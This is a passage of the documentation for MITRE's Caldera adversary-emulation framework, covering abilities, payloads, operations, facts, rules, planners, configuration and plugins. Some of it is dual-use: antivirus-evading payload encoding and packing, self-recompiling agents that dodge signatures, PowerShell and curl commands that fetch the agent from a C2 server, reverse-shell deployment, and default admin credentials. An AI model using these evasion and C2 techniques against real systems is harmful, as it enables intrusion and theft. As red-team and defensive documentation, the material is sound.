psh:
command: |
.\wifi.ps1 -Scan
payload: wifi.ps1

Things to note:
• Each ability has a random UUID id
• Each ability requires a name, description, ATT&CK tactic and technique information
• Each ability requires a platforms list, which should contain at least 1 block for a supported operating system
(platform). Currently, abilities can be created for Windows, Linux, and Darwin (MacOS).
• Abilities can be added to an adversary through the GUI with the ‘add ability’ button
• The delete_payload field (optional, placed at the top level, expects True or False) specifies whether the agent
should remove the payload from the filesystem after the ability completes. The default value, if not provided, is
True.
• The singleton field (optional, placed at the top level, expects True or False) specifies that the ability should only
be run successfully once - after it succeeds, it should not be run again in the same operation. The default value,
if not provided, is False.
• The repeatable field (optional, placed at the top level, expects True or False) specifies that the ability can be
repeated as many times as the planner desires. The default value, if not provided, is False.
Please note that only one of singleton or repeatable should be True at any one time - singleton operates at an operational
level, and repeatable at an agent level. If both are true at the same time, Caldera may behave unexpected.
For each platform, there should be a list of executors. In the default Sandcat deployment, Darwin and Linux platforms
can use sh and Windows can use psh (PowerShell) or cmd (command prompt).
Each platform block consists of a:
• command (required)
• payload (optional)
• uploads (optional)
• cleanup (optional)
• parsers (optional)
• requirements (optional)
• timeout (optional)
Command: A command can be 1-line or many and should contain the code you would like the ability to execute.
Newlines in the command will be deleted before execution. The command can (optionally) contain variables, which
are identified as #{variable}.
Prior to execution of a command, Caldera will search for variables within the command and attempt to replace them
with values. The values used for substitution depend on the type of the variable in the command: user-defined or global
variable. User-defined variables are associated with facts can be filled in with fact values from fact sources or parser
output, while global variables are filled in by Caldera internally and cannot be substituted with fact values.
The following global variables are defined within Caldera:

4.2. Abilities 15
caldera

• #{server} references the FQDN of the Caldera server itself. Because every agent may know the location of
Caldera differently, using the #{server} variable allows you to let the system determine the correct location of
the server.
• #{group} is the group a particular agent is a part of. This variable is mainly useful for lateral movement, where
your command can start an agent within the context of the agent starting it.
• #{paw} is the unique identifier - or paw print - of the agent.
• #{location} is the location of the agent on the client file system.
• #{exe_name} is the executable name of the agent.
• #{upstream_dest} is the address of the immediate “next hop” that the agent uses to reach the Caldera server.
For agents that directly connect to the server, this will be the same as the #{server} value. For agents that use
peer-to-peer, this value will be the peer address used.
• #{origin_link_id} is the internal link ID associated with running this command used for agent tracking.
• #{payload} and #{payload:<uuid>} are used primarily in cleanup commands to denote a payload file down-
loaded by an agent.
• #{app.*} are configuration items found in your main Caldera configuration (e.g., conf/default.yml) with a
prefix of app.. Variables starting with app. that are not found in the Caldera configuration are not treated as
global variables and can be subject to fact substitution.
Payload: A comma-separated list of files which the ability requires in order to run. In the windows executor above, the
payload is wifi.ps1. This means, before the ability is used, the agent will download wifi.ps1 from Caldera. If the file
already exists, it will not download it. You can store any type of file in the payload directories of any plugin.
Did you know that you can assign functions to execute on the server when specific payloads are requested
for download? An example of this is the sandcat.go file. Check the plugins/sandcat/hook.py file to see
how special payloads can be handled.
Payloads can be stored as regular files or you can xor (encode) them so the anti-virus on the server-side does not pick
them up. To do this, run the app/utility/payload_encoder.py against the file to create an encoded version of it. Then
store and reference the encoded payload instead of the original.
The payload_encoder.py file has a docstring which explains how to use the utility.
Payloads also can be ran through a packer to obfuscate them further from detection on a host machine. To do this you
would put the packer module name in front of the filename followed by a colon ‘:’. This non-filename character will
be passed in the agent’s call to the download endpoint, and the file will be packed before sending it back to the agent.
UPX is currently the only supported packer, but adding addition packers is a simple task.
An example for setting up for a packer to be used would be editing the filename in the payload section of
an ability file: - upx:Akagi64.exe
Uploads: A list of files which the agent will upload to the C2 server after running the ability command. The filepaths
can be specified as local file paths or absolute paths. The ability assumes that these files will exist during the time of
upload.
Below is an example ability that uses the uploads keyword:

---

- id: 22b9a90a-50c6-4f6a-a1a4-f13cb42a26fd
name: Upload file example
description: Example ability to upload files
tactic: exfiltration
technique:
(continues on next page)

16 Chapter 4. Basic Usage


caldera

(continued from previous page)


attack_id: T1041
name: Exfiltration Over C2 Channel
platforms:
darwin,linux:
sh:
command: |
echo "test" > /tmp/absolutepath.txt;
echo "test2" > ./localpath.txt;
cleanup: |
rm -f /tmp/absolutepath.txt ./localpath.txt;
uploads:
- /tmp/absolutepath.txt
- ./localpath.txt

Cleanup: An instruction that will reverse the result of the command. This is intended to put the computer back into the
state it was before the ability was used. For example, if your command creates a file, you can use the cleanup to remove
the file. Cleanup commands run after an operation, in the reverse order they were created. Cleaning up an operation is
also optional, which means you can start an operation and instruct it to skip all cleanup instructions.
Cleanup is not needed for abilities, like above, which download files through the payload block. Upon an operation
completing, all payload files will be removed from the client (agent) computers.
Parsers: A list of parsing modules which can parse the output of the command into new facts. Interested in this topic?
Check out how Caldera parses facts, which goes into detail about parsers.
Abilities can also make use of two Caldera REST API endpoints, file upload and download.
Requirements: Required relationships of facts that need to be established before this ability can be used. See Require-
ments for more information.
Timeout: How many seconds to allow the command to run.

4.2.1 Bootstrap and Deadman Abilities

Bootstrap Abilities are abilities that run immediately after sending their first beacon in. A bootstrap ability can be
added through the GUI by entering the ability id into the ‘Bootstrap Abilities’ field in the ‘Agents’ tab. Alternatively,
you can edit the conf/agents.yml file and include the ability id in the bootstrap ability section of the file (ensure the
server is turned off before editing any configuration files).
Deadman Abilities are abilities that an agent runs just before graceful termination. When the Caldera server receives an
initial beacon from an agent that supports deadman abilities, the server will immediately send the configured deadman
abilities, along with any configured bootstrap abilities, to the agent. The agent will save the deadman abilities and
execute them if terminated via the GUI or if self-terminating due to watchdog timer expiration or disconnection from
the C2. Deadman abilities can be added through the GUI by entering a comma-separated list of ability IDs into the
‘Deadman Abilities’ field in the ‘Agents’ tab. Alternatively, you can edit the ‘conf/agents.yml’ file and include the
ability ID in the ‘deadman_abilities’ section of the file (ensure the server is turned off before editing any configuration
files).
Below is an example conf/agents.yml file with configured bootstrap and deadman abilities:

bootstrap_abilities:
- 43b3754c-def4-4699-a673-1d85648fda6a # Clear and avoid logs
deadman_abilities:
- 5f844ac9-5f24-4196-a70d-17f0bd44a934 # delete agent executable upon termination
implant_name: splunkd
(continues on next page)

4.2. Abilities 17
caldera

(continued from previous page)


sleep_max: 60
sleep_min: 30
untrusted_timer: 90
watchdog: 0
deployments:
- 2f34977d-9558-4c12-abad-349716777c6b #Sandcat
- 356d1722-7784-40c4-822b-0cf864b0b36d #Manx
- 0ab383be-b819-41bf-91b9-1bd4404d83bf #Ragdoll

4.3 Adversary Profiles

The majority of adversary profiles are stored inside the Stockpile plugin (plugins/stockpile/data/adversaries).
Adversary profiles created through the UI will be placed in data/adversaries.
Adversaries consist of an objective (optional) and a list of abilities under atomic_ordering. This ordering determines
the order in which abilities will be run.
An example adversary is below:

id: 5d3e170e-f1b8-49f9-9ee1-c51605552a08
name: Collection
description: A collection adversary
objective: 495a9828-cab1-44dd-a0ca-66e58177d8cc
atomic_ordering:
- 1f7ff232-ebf8-42bf-a3c4-657855794cfe #find company emails
- d69e8660-62c9-431e-87eb-8cf6bd4e35cf #find ip addresses
- 90c2efaa-8205-480d-8bb6-61d90dbaf81b #find sensitive files
- 6469befa-748a-4b9c-a96d-f191fde47d89 #create staging dir

4.4 Operations

An operation can be started with a number of optional configurations:


• Group: Which collection of agents would you like to run against
• Adversary: Which adversary profile would you like to run
• Auto-close: Automatically close the operation when there is nothing left to do. Alternatively, keep the operation
forever.
• Run immediately: Run the operation immediately or start in a paused state
• Autonomous: Run autonomously or manually. Manual mode will ask the operator to approve or discard each
command.
• Planner: You can select which logic library - or planner - you would like to use.
• Fact source: You can attach a source of facts to an operation. This means the operation will start with “pre-
knowledge” of the facts, which it can use to fill in variables inside the abilities.
• Cleanup timeout: How many seconds to wait for each cleanup command to complete before continuing.
• Obfuscators: Select an obfuscator to encode each command with, before they are sent to the agents.

18 Chapter 4. Basic Usage


caldera

• Jitter: Agents normally check in with Caldera every 60 seconds. Once they realize they are part of an active
operation, agents will start checking in according to the jitter time, which is by default 2/8. This fraction tells the
agents that they should pause between 2 and 8 seconds (picked at random each time an agent checks in) before
using the next ability.
• Visibility: How visible should the operation be to the defense. Defaults to 51 because each ability defaults to a
visibility of 50. Abilities with a higher visibility than the operation visibility will be skipped.
After starting an operation, users can export the operation report in JSON format by clicking the “Download report”
button in the operation GUI modal. For more information on the operation report format, see the Operation Result
section.

4.5 Facts

A fact is an identifiable piece of information about a given computer. Facts can be used to perform variable assignment
within abilities.
Facts are composed of the following:
• name: a descriptor which identifies the type of the fact and can be used for variable names within abilities.
Example: host.user.name. Note that Caldera 3.1.0 and earlier required fact names/traits to be formatted as
major.minor.specific but this is no longer a requirement.
• value: any arbitrary string. An appropriate value for a host.user.name may be “Administrator” or “John”.
• score: an integer which associates a relative importance for the fact. Every fact, by default, gets a score of 1. If
a host.user.password fact is important or has a high chance of success if used, you may assign it a score of
5. When an ability uses a fact to fill in a variable, it will use those with the highest scores first. If a fact has a
score of 0, it will be blocklisted - meaning it cannot be used in the operation.
If a property has a prefix of host. (e.g., host.user.name) you can ensure that the fact will only be used
by the host that collected it if you add the plugins.stockpile.app.requirements.paw_provenance
requirement to the ability using the fact.
As hinted above, when Caldera runs abilities, it scans the command and cleanup instructions for variables. When it
finds one, it then looks at the facts it has and sees if it can replace the variables with matching facts (based on the
property). It will then create new variants of each command/cleanup instruction for each possible combination of facts
it has collected. Each variant will be scored based on the cumulative score of all facts inside the command. The highest
scored variants will be executed first.
Facts can be added or modified through the GUI by navigating to Advanced -> Sources and clicking on ‘+ add row’.

4.6 Fact sources

A fact source is a collection of facts that you have grouped together. A fact source can be applied to an operation when
you start it, which gives the operation facts to fill in variables with.
Fact sources can be added or modified through the GUI by navigating to Advanced -> Sources.

4.5. Facts 19
caldera

4.7 Rules

A rule is a way of restricting or placing boundaries on Caldera. Rules are directly related to facts and should be included
in a fact sheet.
Rules act similar to firewall rules and have three key components: fact, action, and match
1. Fact specifies the name of the fact that the rule will apply to
2. Action (ALLOW, DENY) will allow or deny the fact from use if it matches the rule
3. Match regex rule on a fact’s value to determine if the rule applies
During an operation, the planning service matches each link against the rule-set, discarding it if any of the fact assign-
ments in the link match a rule specifying DENY and keeping it otherwise. In the case that multiple rules match the
same fact assignment, the last one listed will be given priority.
Example

rules:
- action: DENY
fact: file.sensitive.extension
match: .*
- action: ALLOW
fact: file.sensitive.extension
match: txt

In this example only the txt file extension will be used. Note that the ALLOW action for txt supersedes the DENY for
all, as the ALLOW rule is listed later in the policy. If the ALLOW rule was listed first, and the DENY rule second,
then all values (including txt) for file.sensitive.extension would be discarded.

4.7.1 Subnets

Rules can also match against subnets.


Subnet Example

- action: DENY
fact: my.host.ip
match: .*
- action: ALLOW
fact: my.host.ip
match: 10.245.112.0/24

In this example, the rules would permit Caldera to only operate within the 10.245.112.1 to 10.245.112.254 range.
Rules can be added or modified through the GUI by navigating to Advanced -> Sources and clicking on ‘+ view rules’.

20 Chapter 4. Basic Usage


caldera

4.7.2 Fact Source Adjustments

Fact source adjustments allow for dynamic adjustment specific ability’s visibility in the context of an operation.
Adjustment Example (basic fact source)

adjustments:
1b4fb81c-8090-426c-93ab-0a633e7a16a7:
host.installed.av:
- value: symantec
offset: 3
- value: mcafee
offset: 3

In this example, if in the process of executing an operation, a host.installed.av fact was found with either the
value symantec or mcafee, ability 1b4fb81c-8090-426c-93ab-0a633e7a16a7 (Sniff network traffic) would have
its visibility score raised and the status HIGH_VIZ. This framework allows dynamic adjustments to expected ability
visibility based on captured facts (in this example the presence of anti-virus software on the target) which may impact
our desire to run the ability, as it might be more easily detected in this environment.
When the “Sniff network traffic” ability is run, its visibility is only adjusted if, at the time of execution, the fact source
has a host.installed.av fact with either the value symantec or mcafee. If one or both of these facts are present,
each execution of “Sniff network traffic” will have 3 (the value of it’s offset) added to its visibility score. This
visibility adjustment is recorded in the operation report.
Adjustments must be added or modified through the fact source’s .yml file, with the exception of new fact sources
created using the REST API’s sources endpoint with a well-formed PUT request.

4.8 Planners

A planner is a module within Caldera which contains logic for how a running operation should make decisions about
which abilities to use and in what order.
Planners are single module Python files. Planners utilize the core system’s planning_svc.py, which has planning logic
useful for various types of planners.

4.8.1 The Atomic planner

Caldera ships with a default planner, atomic. The atomic planner operates by atomically sending a single ability com-
mand to each agent in the operation’s group at a time, progressing through abilities as they are enumerated in the
underyling adversary profile. When a new agent is added to the operation, the atomic planner will start with the first
ability in the adversary profile.
The atomic planner can be found in the mitre/stockpile GitHub repository at app/atomic.py.

4.8. Planners 21
caldera

4.8.2 Custom Planners

For any other planner behavior and functionality, a custom planner is required. Caldera has open sourced some custom
planners, to include the batch and buckets planners. From time to time, the Caldera team will open source further
planners as they become more widely used, publicly available, etc.
The batch planner will retrieve all ability commands available and applicable for the operation and send them to the
agents found in the operation’s group. The batch planner uses the planning service to retrieve ability commands based
on the chosen advsersary and known agents in the operation. The abilities returned to the batch planner are based on the
agent matching the operating system (execution platform) of the ability and the ability command having no unsatisfied
facts. The batch planner will then send these ability commands to the agents and wait for them to be completed. After
each batch of ability commands is completed, the batch planner will again attempt to retrieve all ability commands
available for the operation and attempt to repeat the cycle. This is required as once ability commands are executed, new
additional ability commands may also become unlocked; e.g. required facts being present now, newly spawned agents,
etc. The batch planner should be used for profiles containing repeatable abilities.
The buckets planner is an example planner to demonstrate how to build a custom planner as well as the planning service
utilities available to planners to aid in the formation decision logic.
The batch and buckets planners can be found in the mitre/stockpile github repository at app/batch.py and app/
buckets.py.
See How to Build Planners for full walkthrough of how to build a custom planner and incorporate any custom decision
logic that is desired.

4.8.3 Repeatable Abilities and Planners

When creating a new operation, selecting a profile with repeatable abilities will disable both the atomic and the buckets
planners. Due to the behavior and functionality of these planners, repeatable abilities will result in the planner looping
infinitely on the repeatable ability. It is recommended to use the batch planner with profiles containing repeatable
abilities.

4.9 Plugins

Caldera is built using a plugin architecture on top of the core system. Plugins are separate git repositories that plug
new features into the core system. Each plugin resides in the plugins directory and is loaded into Caldera by adding it
to the local.yml file.
Plugins can be added through the UI or in the configuration file (likely conf/local.yml). Changes to the configuration
file while the server is shut down. The plugins will be enabled when the server restarts.
Each plugin contains a single hook.py file in its root directory. This file should contain an initialize function, which
gets called automatically for each loaded plugin when Caldera boots. The initialize function contains the plugin logic
that is getting “plugged into” the core system. This function takes a single parameter:
• services: a list of core services that live inside the core system.
A plugin can add nearly any new functionality/features to Caldera by using the two objects above.
A list of plugins included with Caldera can be found on the Plugin library page.

22 Chapter 4. Basic Usage


CHAPTER

FIVE

SERVER CONFIGURATION

5.1 Startup parameters

server.py supports the following arguments:


• --log {DEBUG,INFO,WARNING,ERROR,CRITICAL}: Sets the log option. The DEBUG option is useful for trou-
bleshooting.
• --fresh: Resets all non-plugin data including custom abilities and adversaries, operations, and the agent list.
A gzipped, tarball backup of the original content is stored in the data/backup directory. This makes it pos-
sible to recover the server state after an accidental --fresh startup by running tar -zxvf data/backup/
backup-<timestamp>.tar.gz from the root caldera directory before server startup.
• --environment ENVIRONMENT: Sets a custom configuration file. See “Custom configuration files” below for
additional details.
• --plugins PLUGINS: Sets Caldera to run only with the specified plugins
• --insecure: Uses the conf/default.yml file for configuration, not recommended.

5.2 Configuration file

Caldera’s configuration file is located at conf/local.yml, written on the first run. If the server is run with the
--insecure option (not recommended), Caldera will use the file located at conf/default.yml.
Configuration file changes must be made while the server is shut down. Any changes made to the configuration file
while the server is running will be overwritten.
The value set for app.frontend.api_base_url is used to configure the Caldera v5 Vue UI when the Caldera server
is started with the --build flag. It has been observed that in some situations the default configuration values can cause
the UI to appear unresponsive due to misrouted requests. This mainly occurs when the server is running on a host
different than the UI is being accessed from. In these cases, the value should be changed to the appropriate URL for
the UI to route requests to.
The YAML configuration file contains all the configuration variables Caldera requires to boot up and run. A docu-
mented configuration file is below:

ability_refresh: 60 # Interval at which ability YAML files will refresh from disk
api_key_blue: BLUEADMIN123 # API key which grants access to Caldera blue
api_key_red: ADMIN123 # API key which grants access to Caldera red
app.contact.dns.domain: mycaldera.caldera # Domain for the DNS contact server
app.contact.dns.socket: 0.0.0.0:53 # Listen host and port for the DNS contact server
app.contact.gist: API_KEY # API key for the GIST contact
(continues on next page)

23
caldera

(continued from previous page)


app.contact.html: /weather # Endpoint to use for the HTML contact
app.contact.http: http://0.0.0.0:8888 # Server to connect to for the HTTP contact
app.contact.tcp: 0.0.0.0:7010 # Listen host and port for the TCP contact server
app.contact.udp: 0.0.0.0:7011 # Listen host and port for the UDP contact server
app.contact.websocket: 0.0.0.0:7012 # Listen host and port for the Websocket contact␣
˓→server

app.frontend.api_base_url: http://localhost:8888
objects.planners.default: atomic # Specify which planner should be used by default␣
˓→(works for all objects, just replace `planners` with the appropriate object type name)

crypt_salt: REPLACE_WITH_RANDOM_VALUE # Salt for file encryption


encryption_key: ADMIN123 # Encryption key for file encryption
exfil_dir: /tmp # The directory where files exfiltrated through the /file/upload␣
˓→endpoint will be stored

host: 0.0.0.0 # Host the server will listen on


plugins: # List of plugins to enable
- access
- atomic
- compass
- debrief
- fieldmanual
- gameboard
- manx
- response
- sandcat
- stockpile
- training
port: 8888 # Port the server will listen on
reports_dir: /tmp # The directory where reports are saved on server shutdown
auth.login.handler.module: default # Python import path for auth service login handler (
˓→"default" will use the default handler)

requirements: # Caldera requirements


go:
command: go version
type: installed_program
version: 1.11
python:
attr: version
module: sys
type: python_module
version: 3.8.0
users: # User list for Caldera blue and Caldera red
blue:
blue: admin # Username and password
red:
admin: admin
red: admin

24 Chapter 5. Server Configuration


caldera

5.3 Custom configuration files

Custom configuration files can be created with a new file in the conf/ directory. The name of the config file can then
be specified with the -E flag when starting the server.
Caldera will choose the configuration file to use in the following order:
1. A config specified with the -E or --environment command-line options. For instance, if started with python
caldera.py -E foo, Caldera will load it’s configuration from conf/foo.yml.
2. conf/local.yml: Caldera will prefer the local configuration file if no other options are specified.
3. conf/default.yml: If no config is specified with the -E option and it cannot find a conf/local.yml config-
uration file, Caldera will use its default configuration options.

5.4 Enabling LDAP login

Caldera can be configured to allow users to log in using LDAP. To do so add an ldap section to the config with the
following fields:
• dn: the base DN under which to search for the user
• server: the URL of the LDAP server, optionally including the scheme and port
• user_attr: the name of the attribute on the user object to match with the username, e.g. cn or sAMAccountName.
Default: uid
• group_attr: the name of the attribute on the user object to match with the group, e.g. MemberOf or group.
Default: objectClass
• red_group: the value of the group_attr that specifies a red team user. Default: red
For example:

ldap:
dn: cn=users,cn=accounts,dc=demo1,dc=freeipa,dc=org
server: ldap://ipa.demo1.freeipa.org
user_attr: uid
group_attr: objectClass
red_group: organizationalperson

This will allow the employee user to log in as uid=employee,cn=users,cn=accounts,dc=demo1,dc=freeipa,


dc=org. This user has an objectClass attribute that contains the value organizationalperson, so they will be
logged in as a red team user. In contrast, the admin user does not have an objectClass of organizationalperson
so they will be logged in as a blue team user.
Be sure to change these settings to match your specific LDAP environment.
Note that adding the ldap section will disable any accounts listed in the users section of the config file; only LDAP
will be used for logging in.

5.3. Custom configuration files 25


caldera

5.5 Setting Custom Login Handlers

By default, users authenticate to Caldera by providing credentials (username and password) in the main login page.
These credentials are verified using Caldera’s internal user mapping, or via LDAP if LDAP login is enabled for Caldera.
If users want to use a different login handler, such as one that handles SAML authentication or a login handler provided
by a Caldera plugin, the auth.login.handler.module keyword in the Caldera configuration file must be changed
from its value of default, which is used to load the default login handler. The configuration value, if not default,
must be a Python import path string corresponding to the custom login handler relative to the main Caldera directory
(e.g. auth.login.handler.module: plugins.customplugin.app.my_custom_handler). If the keyword is
not provided, the default login handler will be used.
The Python module referenced in the configuration file must implement the following method:

def load_login_handler(services):
"""Return Python object that extends LoginHandlerInterface from app.service.
˓→interfaces.i_login_handler"""

pass

When loading custom login handlers, Caldera expects the referenced Python module to return an object that extends
LoginHandlerInterface from app.service.interfaces.i_login_handler. This interface provides all of the
methods that Caldera’s authentication service requires to handle logins. If an invalid login handler is referenced in the
configuration file, then the server will exit with an error.
An example login handler Python module may follow the following structure:

from app.service.interfaces.i_login_handler import LoginHandlerInterface

HANDLER_NAME = 'My Custom Login Handler'

def load_login_handler(services):
return CustomLoginHandler(services, HANDLER_NAME)

class CustomLoginHandler(LoginHandlerInterface):
def __init__(self, services, name):
super().__init__(services, name)

async def handle_login(self, request, **kwargs):


# Handle login
pass

async def handle_login_redirect(self, request, **kwargs):


# Handle login redirect
pass

26 Chapter 5. Server Configuration


CHAPTER

SIX

PLUGIN LIBRARY

Here you’ll get a run-down of all open-source plugins, all of which can be found in the plugins/ directory as separate
GIT repositories.
To enable a plugin, add it to the default.yml file in the conf/ directory. Make sure your server is stopped when
editing the default.yml file.
Plugins can also be enabled through the GUI. Go to Advanced -> Configuration and then click on the ‘enable’ button
for the plugin you would like to enable.

6.1 Sandcat

The Sandcat plugin contains Caldera’s default agent, which is written in GoLang for cross-platform compatibility.
The agent will periodically beacon to the C2 server to receive instructions, execute instructions on the target host, and
then send results back to the C2 server. The agent also supports payload downloads, file uploads, and a variety of
execution and C2 communication options. For more details, see the Sandcat plugin documentation

6.1.1 Deploy

To deploy Sandcat, use one of the built-in delivery commands which allows you to run the agent on any operating
system. Each of these commands downloads the compiled Sandcat executable from Caldera and runs it immediately.
Find the commands on the Sandcat plugin tab.
Once the agent is running, it should show log messages when it beacons into Caldera.
If you have GoLang installed on the Caldera server, each time you run one of the delivery commands
above, the agent will re-compile itself dynamically and it will change it’s source code so it gets a different
file hash (MD5) and a random name that blends into the operating system. This will help bypass file-based
signature detections.

6.1.2 Options

When deploying a Sandcat agent, there are optional parameters you can use when you start the executable:
• Server: This is the location of Caldera. The agent must have connectivity to this host/port.
• Group: This is the group name that you would like the agent to join when it starts. The group does not have to
exist. A default group of my_group will be used if none is passed in.
• v: Use -v to see verbose output from sandcat. Otherwise, sandcat will run silently.

27
caldera

6.1.3 Extensions

In order to keep the agent code lightweight, the default Sandcat agent binary ships with limited basic functionality.
Users can dynamically compile additional features, referred to as “gocat extensions”. Each extension adds to the
existing gocat module code to provide functionality such as peer-to-peer proxy implementations, additional executors,
and additional C2 contact protocols.
To request particular gocat extensions, users can include the gocat-extensions HTTP header when asking the C2 to
compile an agent. The header value must be a comma-separated list of requested extensions. The server will include
the extensions in the binary if they exist and if their dependencies are met (i.e. if extension A requires a particular
Golang module that is not installed on the server, then extension A will not be included).
Below is an example powershell snippet to request the C2 server to include the proxy_http and shells extensions:

$url="http://192.168.137.1:8888/file/download"; # change server IP/port as needed


$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows"); # specifying Windows build
$wc.Headers.add("file","sandcat.go"); # requesting sandcat binary
$wc.Headers.add("gocat-extensions","proxy_http,shells"); # requesting the extensions
$output="C:\Users\Public\sandcat.exe"; # specify destination filename
$wc.DownloadFile($url,$output); # download

The following features are included in the stock agent:


• HTTP C2 contact protocol
• psh PowerShell executor (Windows)
• cmd cmd.exe executor (Windows)
• sh shell executor (Linux/Mac)
• proc executor to directly spawn processes from executables without needing to invoke a shell (Win-
dows/Linux/Mac)
Additional functionality can be found in the following gocat extensions:
• gist extension provides the Github gist C2 contact protocol.
• shells extension provides the osascript (Mac Osascript) and pwsh (Windows powershell core) executors.
• shellcode extension provides the shellcode executors.
• proxy_http extension provides the HTTP peer-to-peer proxy receiver.
• proxy_smb_pipe extension provides the SmbPipe peer-to-peer proxy client and receiver for Windows (peer-to-
peer communication via SMB named pipes).
• donut extension provides the Donut functionality to execute various assemblies in memory. See
https://github.com/TheWover/donut for additional information.
• shared extension provides the C sharing functionality for Sandcat.

28 Chapter 6. Plugin library


caldera

Exit Codes

Exit codes returned from Sandcat vary across executors. Typical shell executors will return the exit code provided by
the shell. Certain executor extensions will return values hard-coded in Sandcat.
Sandcat includes general exit codes which may be utilized by executors, overriden by executors, or used in error cases.
The following values describe general Sandcat exit codes:
• -1: Error (e.g., cannot decode command, payload not available)
• 0: Success
The following values describe exit codes utilized by specific executors:
• shells: Returns the exit code provided by the OS/shell.
• shellcode: Utilizes the general Sandcat exit codes.
• native and native_aws:
– 0: Success
– 1: Process error (e.g., error while executing code)
– 2: Input error (e.g., invalid parameters)
• donut: Returns the exit code provided by the OS/shell.

Customizing Default Options & Execution Without CLI Options

It’s possible to customize the default values of these options when pulling Sandcat from the Caldera server.
This is useful if you want to hide the parameters from the process tree. You can do this by passing the values in as
headers instead of as parameters.
For example, the following will download a linux executable that will use http://10.0.0.2:8888 as the server
address instead of http://localhost:8888.

curl -sk -X POST -H 'file:sandcat.go' -H 'platform:linux' -H 'server:http://10.0.0.2:8888


˓→' http://localhost:8888/file/download > sandcat.sh

6.2 Caldera for OT

The Caldera for OT plugins extend Caldera by providing support for common industrial protocols. Each plugin contains
a collection of abilities unique to an operational technology (OT) protocol. To install the plugins and learn more about
which protocols are currently supported, visit: https://github.com/mitre/caldera-ot.

6.2.1 BACnet

The BACnet plugin leverages the BACnet Stack Library to expose native functionality of the BACnet protocol to
Caldera.

6.2. Caldera for OT 29


caldera

6.2.2 DNP3

The DNP3 plugin leverages the openDNP3 Library to expose native functionality of the DNP3 protocol to Caldera.

6.2.3 Modbus

The Modbus plugin leverages the pyModbus Library to expose native functionality of the Modbus protocol to Caldera.

6.2.4 Profinet

The Profinet plugin leverages the pnio_dcp Library to expose native functionality of the Profinet protocol to Caldera.

6.3 Mock

The Mock plugin adds a set of simulated agents to Caldera and allows you to run complete operations without hooking
any other computers up to your server.
These agents are created inside the conf/agents.yml file. They can be edited and you can create as many as you’d
like. A sample agent looks like:

- paw: 1234
username: darthvader
host: deathstar
group: simulation
platform: windows
location: C:\Users\Public
enabled: True
privilege: User
c2: HTTP
exe_name: sandcat.exe
executors:
- pwsh
- psh

After you load the mock plugin and restart Caldera, all simulated agents will appear as normal agents in the Chain
plugin GUI and can be used in any operation.

6.4 Manx

The terminal plugin adds reverse-shell capability to Caldera, along with a TCP-based agent called Manx.
When this plugin is loaded, you’ll get access to a new GUI page which allows you to drop reverse-shells on target hosts
and interact manually with the hosts.
You can use the terminal emulator on the Terminal GUI page to interact with your sessions.

30 Chapter 6. Plugin library


caldera

6.5 Stockpile

The stockpile plugin adds a few components to Caldera:


• Abilities
• Adversaries
• Planner
• Facts
These components are all loaded through the plugins/stockpile/data/* directory.

6.6 Response

The response plugin is an autonomous incident response plugin, which can fight back against adversaries on a com-
promised host.
Similar to the stockpile plugin, it contains adversaries, abilties, and facts intended for incident response. These com-
ponents are all loaded through the plugins/response/data/* directory.

6.7 Compass

Create visualizations to explore TTPs. Follow the steps below to create your own visualization:
1. Click ‘Generate Layer’
2. Click ‘+’ to open a new tab in the navigator
3. Select ‘Open Existing Layer’
4. Select ‘Upload from local’ and upload the generated layer file
Compass leverages ATT&CK Navigator, for more information see: https://github.com/mitre-attack/attack-navigator

6.8 Caltack

The caltack plugin adds the public MITRE ATT&CK website to Caldera. This is useful for deployments of Caldera
where an operator cannot access the Internet to reference the MITRE ATT&CK matrix.
After loading this plugin and restarting, the ATT&CK website is available from the Caldera home page. Not all parts
of the ATT&CK website will be available - but we aim to keep those pertaining to tactics and techniques accessible.

6.5. Stockpile 31
caldera

6.9 SSL

The SSL plugin adds HTTPS to Caldera.


This plugin only works if Caldera is running on a Linux or MacOS machine. It requires HaProxy (>= 1.8)
to be installed prior to using it.
When this plugin has been loaded, Caldera will start the HAProxy service on the machine and serve Caldera on all
interfaces on port 8443, in addition to the normal http://[YOUR_IP]:8888 (based on the value of the host value in the
Caldera settings).
Plugins and agents will not automatically update to the service at https://[YOUR_IP]:8443. All agents will need to
be redeployed using the HTTPS address to use the secure protocol. The address will not automatically populate in
the agent deployment menu. If a self-signed certificate is used, deploying agents may require additional commands to
disable SSL certificate checks (such as using the --insecure flag to bypass SSL certificate checks in the initial curl
request when downloading the new agents).
Warning: This plugin uses a default self-signed ssl certificate and key which should be replaced. In order to use this
plugin securely, you need to generate your own certificate. The directions below show how to generate a new self-signed
certificate. If you are unable to connect to Caldera using the self-signed certificate, verify that your system trusts the
certificate.

6.9.1 Setup Instructions

Note: OpenSSL must be installed on your system to generate a new self-signed certificate
1. install haproxy >= 1.8 using brew install haproxy (MacOS) or sudo apt-get install haproxy
(Linux).
2. In the root Caldera directory, navigate to plugins/ssl.
3. Place a PEM file containing SSL public and private keys in conf/certificate.pem. Follow the instructions
below to generate a new self-signed certificate:
• In a terminal, paste the command openssl req -x509 -newkey rsa:4096 -out conf/
certificate.pem -keyout conf/certificate.pem -nodes and press enter.
• This will prompt you for identifying details. Enter your country code when prompted. You may leave the
rest blank by pressing enter.
4. Copy the file haproxy.conf from the templates directory to the conf directory.
5. Open the file conf/haproxy.conf in a text editor.
6. On the line bind *:8443 ssl crt plugins/ssl/conf/insecure_certificate.pem, replace
insecure_certificate.pem with certificate.pem.
7. On the line server caldera_main 127.0.0.1:8888 cookie caldera_main, replace 127.0.0.1:8888
with the host and port defined in Caldera’s conf/local.yml file. This should not be required if Caldera’s
configuration has not been changed.
8. Save and close the file. Congratulations! You can now use Caldera securely by accessing the UI
https://[YOUR_IP]:8443 and redeploying agents using the HTTPS service.

32 Chapter 6. Plugin library


caldera

6.10 Atomic

The Atomic plugin imports all Red Canary Atomic tests from their open-source GitHub repository.

6.11 GameBoard

The GameBoard plugin allows you to monitor both red-and-blue team operations. The game tracks points for both sides
and determines which one is “winning”. The scoring seeks to quantify the amount of true/false positives/negatives
